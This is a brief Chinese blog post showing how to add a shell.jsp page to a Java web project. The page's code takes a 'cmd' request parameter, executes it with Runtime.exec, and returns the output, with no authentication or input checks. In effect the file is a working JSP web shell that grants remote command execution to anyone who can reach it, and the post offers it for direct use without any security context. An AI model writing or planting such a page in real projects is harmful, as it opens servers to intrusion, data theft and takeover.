1. 程式人生 > >JSP執行Shell並返回結果

JSP執行Shell並返回結果

在JavaWeb專案中新增一個jsp檔案,此處以shell.jsp為例

<%@page import="java.io.IOException"%>
<%@page import="java.io.InputStreamReader"%>
<%@page import="java.io.BufferedReader"%>
<%@ page language="java" import="java.util.*" pageEncoding="UTF-8"%>

<%
        String cmd = request.getParameter("cmd"
); System.out.println(cmd); Process process = null; List<String> processList = new ArrayList<String>(); try { if (cmd!=null) { process = Runtime.getRuntime().exec(cmd); BufferedReader input = new BufferedReader(new
InputStreamReader(process.getInputStream())); String line = ""; while ((line = input.readLine()) != null) { processList.add(line); } input.close(); } } catch (IOException e) { e.printStackTrace(); } String
s = ""; for (String line : processList) { s += line + "\n"; } if (s.equals("")) { out.write("null"); }else { out.write(s); } %>

執行效果如下: